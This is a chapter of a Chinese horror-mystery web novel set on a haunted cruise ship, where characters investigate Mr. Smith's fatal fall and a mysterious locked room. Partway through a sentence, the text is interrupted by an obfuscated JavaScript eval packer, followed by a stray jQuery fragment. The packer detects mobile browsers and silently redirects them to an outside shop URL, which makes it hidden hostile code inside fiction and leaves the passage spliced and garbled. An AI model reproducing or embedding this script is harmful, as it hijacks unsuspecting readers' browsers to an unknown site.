21. 黑蔷薇邮轮航行怪谈
    有这么一个动静,甲板上想不安静都难。

    就连史密斯小姐也止住了哭声,呆呆地盯着倒下的人。

    那人她也熟悉,就是刚被尤沉念叨过的史密斯先生。

    躺在血泊中,手脚怪异地扭曲着。

    “这回是真死了吗?”

    希尔压低声音,流出的血都快要淌到她脚底下了。

    虽然这么问不太好,但有一个史密斯太太在前面当例子,谁知道这家人会不会又在第二天复活。

    大家都默契地往后退了几步,避开血的范围。

    但浓重的血腥味却不住往人鼻腔里钻去。

    贝克医生上前检查了一下史密斯先生的脉搏,冲大家摇摇头。

    史密斯先生跳下来的位置看起来像是邮轮上的桅杆。

    也不是个正常人会去的位置。

    尤沉抬头打量了好一会。

    但那处被雾遮挡得严严实实。

    “史密斯小姐……”

    安娜试图开口安慰一下再次受到惊吓的小姑娘,却发现琢磨措辞都很怪异。

    但好在小史密斯没有沉默太久。

    “我想回去了。”

    她拽着安娜的衣角,哭过的声音还带着点嘶哑。

    被这么一吓,小姑娘反而冷静下来。

    “你们也早点回去吧。”安娜尽量避免自己的视线落在地上的血迹上。

    另一只手还不忘挡住小史密斯的视线。

    “我们马上就会回去。”

    尤沉嘴里的马上持续到侍者拎着水桶,清理掉甲板上沾满的血迹为止。

    不同于餐厅里的处理方式,这次侍者带走了史密斯先生的尸体。

    “尊敬的客人,请您止步。”

    侍者毫无感情地堵在门口,“这里是员工通道,客人不应该进来。”

    说完便毫不留情地讲大门关上。

    “他态度是不是变差了?”

    尤沉回头,总感觉被针对了,虽然之前她确实有些麻烦地请求了一些帮助。

    “先回去吗?”希尔问道。

    “等等,还有个地方要去看看。”

    尤沉说的地方,就是刚才史密斯先生掉下来的桅杆。

    狭窄的木条悬在空中,人除了老实站在那里,再也干不了其他事情,鬼知道他是怎么找了这么个地方藏着的。

    不过出乎意料,桅杆上的能见度竟然比甲板上高,比方说现在,尤沉很容易就看见对面亮着光的房间,还有站在窗户前冲她笑的人。

    是史密斯太太。

    就站在窗户前,盯着她。

    白雾稍稍抹去了脸部的轮廓,但涂了口红的嘴巴在一片白色中,格外醒目。

    很难不说刚才史密斯先生也是看到了这一幕,才会摔下去的。

    尤沉也冲她礼貌地笑了笑。

    桅杆上挂着一截断开的绳子,另一半搭在下方,随着海风四处摇摆。

    上面的端口很新,就像刚刚挣脱一样。

    也许之前,史密斯先生正是被拽着着段绳子,却不小心因为绳子断开,失去平衡掉下去。

    木头上新鲜的抓痕似乎也在印证着新出现的猜想。

    但又是意外?

    接连两起意外怎么看也是不可思议。

    尤沉俯下身去,又在脚下的木头上,发现了新的、凌乱的划痕。

    她沿着线条摸索了好一会,才拼凑出一句完整的话。

    “她不是她了。”

    很熟悉。

    她在希尔的日记上也见过同样的一句话。

    这处的划痕相比起来更加老旧,不太像是史密斯先生刚刻上去样子,会是之前幽灵邮轮的遗迹吗?

    希尔在桅杆底下等了好一会,也不见人下来。

    白雾在头顶整了个罩子,压得人心头沉沉地。

    她坐在地上,脚边还有一点侍者没有清理干净的血迹。

    头顶似乎有空气破开的声音。

    希尔循声望去,一个黑点极速下落,在视线里面越来越大。

    又来?

    她迅速起身。

    不对。

    理智拽着她停住脚步。

    上面好像只有尤沉。

    怎么就掉下来了?

    希尔背后的冷汗在看到尤沉身上系着的绳子时,才生生止住。

    “你是不是有病啊。”希尔这句骂人的话最终还是没有忍住。

    尤沉拽着绳子,在半空中晃悠了一小会,绳子还是不够长,她解开手里系着的绳结,示意希尔往后退一些。

    “你往下跳干什么呢?”希尔不解地问道,真是遇上了一个疯子。

    “想体验一下史密斯先生的感觉。”

    “他的感觉就是没了。”希尔没好气地回道。

    甲板上的温度比楼上低了很多,只是待了一会,就冻得人直起鸡皮疙瘩。

    也可能是纯粹被吓到。

    反正希尔准备回房间加件衣服。

    “我在桅杆上看到了史密斯夫人。”尤沉跟在后面。

    “你如果不带绳子跳的话,这下都可以看见史密斯先生了。”希尔嘲笑道,“她在那里干嘛呢?”

    “在冲我笑。”

    ……

    这种问题不如不问。

    怎么想都很恐怖的样子。

    希尔的房间和尤沉前一晚见到的类似,除了箱子的数量。

    现在看起来有点少得可怜。

    希尔从箱子底下扒拉出一件外套,连带着一本破破烂烂的本子啪嗒一声掉在地上。

    “这什么?”

    希尔还是第一次见到这个,这个房间被她来回翻了好几遍,居然还有没见过的东西。

    她翻了两页,上面只有日期,是从9月12日开始。

    底下大片的墨迹晕开,像是在水里泡了很久的样子。

    尤沉接过的时候,顺口说起了昨天晚上在希尔房间里看到的东西。

    “你是说,他们的仪式可以复活死去的人?”

    希尔震惊地问道。

    “那史密斯太太岂不是?”

    “不过也不对,史密斯太太的死亡看起来更像是突然出现的意外。”希尔说着又把自己的想法否定了,“谁会来得及给她进行仪式呢?”

    “只是‘你’见过,但具体他们要在邮轮上干什么,只有晚上才会知道。”尤沉把新出现的日记从头到尾翻了一遍,什么都看不出来,封底被火燎了一半,是跟之前说过的大火相吻合。

    但是这本日记为什么会出现呢?

    是上个时间线里属于希尔的那本日记嘛?

    希尔还在各种文字稿里企图找到关于永生花会的记录,突然她顿住了,猛地回身看向盯着日记发呆的人,“但规则不是说不能暴露会员的身份吗?你就这么说出来不会违反规则吗?”

    话音刚落,希尔就看见尤沉从日记里抽出里一张皱巴巴的邀请函,还有一本黑色的小册子。

    “你这不也被选中了吗?”

    尤沉把东西塞到希尔手里。

    其实这种东西没有必要的。

    “这些规则和邮轮上最先给我们的一份,不是相互矛盾吗?”希尔挨个对比了一下,感觉没有想让他们活下来的意思。

    “你说的昨天晚上走不出去的房间又是怎么回事?”尤沉回过神,问起昨天希尔发生的事情。

    昨天分开后,希尔就被送到了一个漆黑的房间。

    里面什么也没有,但是她能听到一滴又一滴往下掉的水声,就在离她很近的地方。

    “我好像听见有人在旁边哭,那里的房间并不大,但怎么也走不出去。”希尔回忆起来,还是能想起那时候蚀骨的寒意,尽管房间里没有任何漏风的地方。

    黑暗会麻痹人的神经,但也会把恐惧无限放大。

    很不幸,希尔就属于后者。

    得益于她充沛的想象力,她在房间里面听到了细细碎碎的声音,是来自头顶的,有一搭没一搭,就像是在逗着她玩似的。

    但希尔不敢发出声音,她手上没有任何趁手的工具,很难说如果真的对上了,谁会赢。

    她只能尽量把自己窝在角落里面,身后可以依靠的墙提供了一些微不足道的安全感。

    但也可能太多了。

    希尔竟然睡着了。

    “等到我再醒来,房间里面竟然已经亮起灯,还有热气腾腾的茶。”

    那不是她的房间,这个布局狭小的像是货仓里的简易隔间。

    借着灯光,希尔才看清自己所处房间的布局,没有窗户,一张床,一个衣柜,还有一张小得不能再小的桌子,这就是它全部的布置了。

    怪声没有再出现,希尔等了一会,还是决定四处翻找一下。

    她在床上找到了一枚老旧的怀表,所幸东西没坏,里面的指针显示时间是十二点,希尔猜测应该是晚上。

    怀表里面,还夹着一张旧照片。

    是个年轻的女孩子。

    希尔对这张脸毫无印象,不在她见过的客人或者照片里面。

    她把东西放在一旁,又在底下找到一叠有点厚的信件。

    “亲爱的。”希尔停顿了一下,信纸上,称呼的位置被人有意抹去,“本世界最伟大的黑蔷薇邮轮将在9月12日起航……精妙的医术将在邮轮上演……我祈祷能医治好你受伤的腿。”

    “这可能就是永生花会要给邮轮上的客人展示的东西?”希尔问道,那封信能看的地方并不完整,很多位置都有被火苗掠过的痕迹。

    “在那之后呢?”

    在那之后,希尔翻遍了整个房间,只找到一些被包裹好的钱币,她猜测可能是用来支付医治所需要的费用。

    “不过我听到了我的名字。”希尔打了一个寒颤,这比之前体验过的黑暗还要恐怖。

    房间里只有希尔在翻动家具的声音,突然,她听见门外传来很轻的脚步声。

    像是刻意压低脚步,有人隐隐约约在咳嗽。

    “我们该怎么处理她?”其中一个人说道。

    他说话的声音很小,希尔需要贴着墙才能勉强听清,但这就导致

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13983646|148264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了有一种很奇怪的错觉,像是那人贴着她耳边在说话似的。

    “希尔知道的东西太多了,而且现在,她似乎跟我们的理念不太一致,你不会想到,她刚才居然说,暂时不愿意参加宴会了。”

    另一个说话明显带着怒气,对希尔拒绝的行为极为不满。

    知道的太多?

    我吗?

    躲在门后偷听的希尔满头疑问,我对你们的说的事情了解不了一点,怎么就到了需要被处理的地步?

    对话还在继续。

    “那夫人的意思是?”

    那个明显生气的人没有继续答话,希尔怀疑他是做了一个抹脖子的动作。

    然后她就听见另一方温顺的语气,“好的,我知道了。”

    知道什么了?

    可以大声说一下吗?

    藏在后面偷听的人真的很无助。

    希尔不确定他们知不知道她就在这里,不过半个小时以后,走道上又传来跑动的凌乱脚步声。

    感谢房间里找到的手表,能让希尔有个可以参照时间的工具。

    她又一次趴在门后。

    这次是啪一声。

    有人撞在希尔躲避的房门上,急促的呼吸顺着木板传到房间里。

    吓得希尔以为自己差点被发现了。

    但这么说也没有错。

    门外的人只是稍作休息,又往另一侧跑去。

    “她在哪。”

    追逐的人不再压低声音。

    另一道脚步声也加入这场追逐。

    希尔坐不住了,试图拿房间里有限的工具撬开紧锁的房门,但结果却是徒劳,那些脚步声又回来了。

    “可以当养分,也不算是浪费。”之前愤怒的声音说道,这次他的心情愉悦很多。

    手里还像是拖拽着什么。

    听声音像是一个很大的箱子划过地面。

    听完刚才尤沉的描述,她很怀疑昨天晚上出现在门外的是之前那种黑色的棺材。

    “他们不会把希尔给杀了吧?”希尔很担心,听起来这些人对这位资料丰富的记者很忌惮。

    做出杀人灭口的事情也不稀奇。

    “如果说真是棺材,那他们不会也埋在顶楼的蔷薇花园里了吧。”

    希尔想去把花园翻一遍。

    “你先等等,我们也没在同一条时间线上。”

    是啊,几十年后重新修复的邮轮,又怎么可能找到之前的东西呢?

    “然后呢?”尤沉追问道。

    “后来我就莫名其妙睡着了,再醒来就是出现在自己的房间里面。”希尔回忆起早晨被小史密斯尖叫吵醒的一刻。

    “这样听起来,那件屋子倒像是在保护你一样。”

    保护?

    对比起尤沉差点被埃文斯吞噬,又被威尔逊追着坠海,希尔的一晚上过得可算是万分平静了。

    “那么现在的情况就是,我们的时间出现了混乱,实际上今天才是航行的第一天,那昨天发生的事。”希尔越整理越觉得疑惑,他们好像生活里不存在的一天,但史密斯太太的尸体有算是这么一回事呢?

    她很明显地证明里存在过的一天。

    “也有另一种可能,我们过完重复的时间,只不过现在所处的时间线,是属于过去的,但当时间不断往前走,在多次的重复以后,两条时间线不再存在时间差,那么。”

    尤沉停顿了一下,“时间线将开始重叠,两个时空的人处在同一个地方会发生什么呢?”

    那这些和曾经的旅客身份一样,处在新的时间线上的他们,又会有什么样的作用呢?

    咚咚咚——

    连续三声规律的敲门声打断了她们关于时间的猜测,两人疑惑地对视一眼,邮轮上应该没有什么会拜访希尔的旅客。

    但在希尔的强烈要求下,尤沉还是站起来开了门。

    出乎意料,门口站着的居然是小史密斯小姐。

    “史密斯小姐,有什么事吗?”

    “我可以进去坐一会吗?”她哑着声音,还没有缓过神来。

    “你跟安娜小姐说过了吗?”怕安娜到时候找不到人,希尔还问了一句。

    “安娜小姐去照顾老太太了。”小史密斯接过希尔递过来的茶,“你们早上看见……”

    她迟疑了一下,最终还是决定这么称呼史密斯太太,“我的母亲了吗?”

    “我的意思是,你们看到的她是什么样子的?”

    这个问题就问得很有意思了。

    “你看到的是什么样子的呢?”尤沉反问道。

    小史密斯的脸色一变再变,最后还是恐惧占了上风,“她是一个怪物。”

    在小姑娘的表述里面,她看到的是一个半边身子被植物包裹的怪物。

    “那朵花就那么插在她胸前,她的脸一半都是树枝,可是其他人都看不到。”光想想都让她害怕得崩溃。

    “那你看到甲板上的爸爸又是什么呢?”尤沉捏脸一个杯子,在小史密斯对面坐下。

    “那个不是我的爸爸。”